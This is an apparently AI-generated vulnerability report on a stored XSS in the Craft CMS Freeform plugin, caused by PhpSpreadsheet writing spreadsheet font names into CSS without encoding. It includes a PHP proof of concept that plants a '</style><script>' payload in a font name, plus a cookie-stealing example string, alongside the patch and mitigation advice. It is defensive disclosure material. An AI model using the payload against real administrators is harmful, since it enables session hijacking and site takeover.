CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-44JG-MV3H-WJ6G
5.40.04%

Styled for Destruction: Stored XSS in Solspace Freeform via Font Metadata

Alon Barad
Alon Barad
Software Engineer

Feb 18, 2026·6 min read·8 visits

PoC Available

Executive Summary (TL;DR)

The `solspace/craft-freeform` plugin for Craft CMS is vulnerable to Stored XSS due to a flaw in how its dependency, `phpspreadsheet`, handles font names. By uploading a crafted spreadsheet with a malicious font name (e.g., containing `<script>` tags), an attacker can execute arbitrary JavaScript when an admin views the file. Patch to version 4.1.23 to fix.

A deceptive Stored Cross-Site Scripting (XSS) vulnerability exists in the popular Craft CMS plugin `solspace/craft-freeform`, inherited from its dependency `phpoffice/phpspreadsheet`. The flaw allows attackers to embed malicious JavaScript payloads inside the metadata (specifically font names) of spreadsheet files. When an administrator views a form submission containing such a file, the application renders the spreadsheet into HTML without sanitizing the styling attributes, executing the payload in the context of the administrator's session. This is a classic example of trusting complex file formats and failing to sanitize 'invisible' metadata.

The Hook: The Trojan Spreadsheet

Spreadsheets are the mundane backbone of the corporate world. They are grids of numbers, formulas, and occasional pie charts. But to a security researcher, a modern spreadsheet (XLSX) is a complex zip archive full of XML files, waiting to be parsed by libraries that often bite off more than they can chew.

In the world of Craft CMS, solspace/craft-freeform is the go-to tool for building forms. It allows users to upload files, including spreadsheets. The problem arises when the application tries to show you what's inside that spreadsheet. To do this, it relies on phpoffice/phpspreadsheet to convert the grid into HTML. And that is where the magic happens.

Most developers diligently sanitize cell content. If you type <script> in cell A1, it usually gets escaped. But who sanitizes the font name? Who expects the font specifically chosen for cell A1 to be named Arial</style><script>steal_cookies()</script>? The answer, prior to version 4.1.23, was nobody. And that blind spot turned a simple file preview into a weaponized Stored XSS vector.

The Flaw: Cascading Style Scripts

The root cause of this vulnerability lies deep within the \PhpOffice\PhpSpreadsheet\Writer\Html class. When this library converts a spreadsheet to HTML, it attempts to faithfully recreate the visual styles of the document. This includes colors, borders, and—crucially—fonts.

To apply these styles, the library generates a CSS block. It iterates through the spreadsheet's style definitions, grabs the font name, and concatenates it directly into a CSS string. It essentially says: font-family: ' + YourFontName + ';.

Here lies the logic error: The developer assumed YourFontName would be a valid font like 'Calibri' or 'Times New Roman'. They didn't anticipate that an attacker could modify the underlying XML of the XLSX file to set the font name to something malicious. Because the library failed to encode this string for the HTML context, an attacker can break out of the CSS context.

The browser parses the document top-down. It enters the <style> tag, expecting CSS rules. When it encounters the attacker's payload containing </style>, it immediately considers the style block closed and switches back to HTML parsing mode. The very next characters—<script>—are then executed as code. It is a classic 'Context Breakout' vulnerability.

The Smoking Gun: Code Analysis

Let's look at the diff. It's beautiful in its simplicity and terrifying in its implications. The vulnerability existed because the font name was treated as trusted data.

In src/PhpSpreadsheet/Writer/Html.php, the code looked something like this:

// The Vulnerable Code
$css['font-family'] = '\'' . $font->getName() . '\'';

Note the lack of sanitization. The $font->getName() method retrieves the string directly from the spreadsheet's internal metadata and drops it into the CSS array. If the name is foo'</style><script>..., that acts as a literal injection.

The patch, applied in commit f7cf378faed2e11cf4825bf8bafea4922ae44667, introduces strict output encoding:

// The Fixed Code
$css['font-family'] = '\'' . htmlspecialchars((string) $font->getName(), ENT_QUOTES) . '\'';

By wrapping the output in htmlspecialchars with ENT_QUOTES, any special characters (like < or ') are converted into their HTML entity equivalents (e.g., &lt;). This effectively neutralizes the attack. The browser sees &lt;/style&gt;, which is just a weird-looking font name, not a closing tag. The script never executes.

The Exploit: Crafting the Payload

You can't easily generate this exploit using Microsoft Excel's GUI, because Excel validates font names. We need to get our hands dirty with the raw XML or use a script to bypass the UI validation.

Here is a conceptual Proof of Concept (PoC) using the library itself to generate the malicious file. We simply instantiate a spreadsheet and programmatically set a style that no sane GUI would allow:

<?php
require 'vendor/autoload.php';
 
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
 
// 1. Create the spreadsheet
$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();
$sheet->setCellValue('A1', 'Trap Cell');
 
// 2. Inject the payload into the Font Name
// The payload closes the style tag, opens a script, alerts, and re-opens style to keep syntax valid-ish
$payload = "Calibri'</style><script>alert('XSS via Font')</script><style>";
 
$sheet->getStyle('A1')->getFont()->setName($payload);
 
// 3. (Optional) In a real attack, you would save this as .xlsx and upload it.
// $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
// $writer->save('exploit.xlsx');
 
// 4. Simulate the victim server rendering it
$writer = new Html($spreadsheet);
echo $writer->generateHTMLAll();

When generateHTMLAll() is called (which Freeform does when previewing the file), it outputs:

<style>
  .style0 { font-family: 'Calibri'</style><script>alert('XSS via Font')</script><style>'; }
</style>

This results in immediate execution of the JavaScript. If an administrator opens this submission in the Craft CMS control panel, the script executes with their privileges.

The Impact: Why Should We Panic?

This is a Stored XSS, the most dangerous variant of Cross-Site Scripting. Unlike Reflected XSS, where you have to trick a user into clicking a link, Stored XSS sits and waits.

In the context of solspace/craft-freeform, this is likely used in a 'Contact Us' or 'Job Application' form. An attacker submits a job application and attaches their 'resume' (exploit.xlsx).

  1. The Trap: The file sits in the database/filesystem.
  2. The Victim: A site administrator or HR employee logs into the Craft CMS backend to review applications.
  3. The Trigger: They click 'View' on the submission. The system renders the spreadsheet to HTML for a quick preview.
  4. The Payload: The attacker's script executes. It can silently steal the admin's session cookies (document.cookie), create a new admin user, or redirect the admin to a phishing page.

Since this targets the administrative backend, the potential fallout is a full site compromise.

Mitigation: Stopping the Bleeding

The fix is straightforward but critical. You must update the affected component. Since solspace/craft-freeform bundles or requires specific versions of the spreadsheet library, you should update the Freeform plugin itself.

Primary Fix: Update solspace/craft-freeform to version 4.1.23 or higher.

Secondary Check: Ensure that your composer.lock file is resolving phpoffice/phpspreadsheet to a safe version. You want version 2.1.0+ or 1.29.1+. You can verify this by running:

composer show phpoffice/phpspreadsheet

If you cannot patch immediately, you must disable any functionality that allows the previewing or HTML rendering of uploaded spreadsheet files within the CMS. Simply allowing the download of the file (instead of rendering it) mitigates the XSS risk, although it passes the risk to the user's local machine (though local Excel is generally harder to exploit via XSS).

Official Patches

PackagistOfficial package page with version history.
GitHubThe commit that fixed the vulnerability in the dependency.

Fix Analysis (1)

Technical Appendix

CVSS Score
5.4/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Craft CMS installations using FreeformApplications using PhpSpreadsheet HTML WriterSolspace Freeform < 4.1.23

Affected Versions Detail

Product
Affected Versions
Fixed Version
solspace/craft-freeform
Solspace
< 4.1.234.1.23
phpoffice/phpspreadsheet
PHPOffice
< 1.29.11.29.1
AttributeDetail
CWE IDCWE-79
CVSS Score5.4 (Medium)
Attack VectorNetwork (Stored)
ImpactSession Hijacking / RCE via Admin Panel
Affected ComponentPhpSpreadsheet HTML Writer (Font Name)
Exploit StatusProof of Concept Available

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1185Browser Session Hijacking
Collection
CWE-79
Cross-site Scripting (XSS)

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

GitHubOriginal advisory containing the reproduction steps and fix analysis.

Vulnerability Timeline

Fix merged in PhpSpreadsheet
2024-04-14
CVE-2024-45046 Published
2024-08-28
GHSA-44JG-MV3H-WJ6G Published for Freeform
2026-01-15

References & Sources

  • [1]GHSA Advisory for Solspace Freeform
  • [2]GHSA Advisory for PhpSpreadsheet (Root Cause)
  • [3]NVD Entry for CVE-2024-45046
Related Vulnerabilities
CVE-2024-45046

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.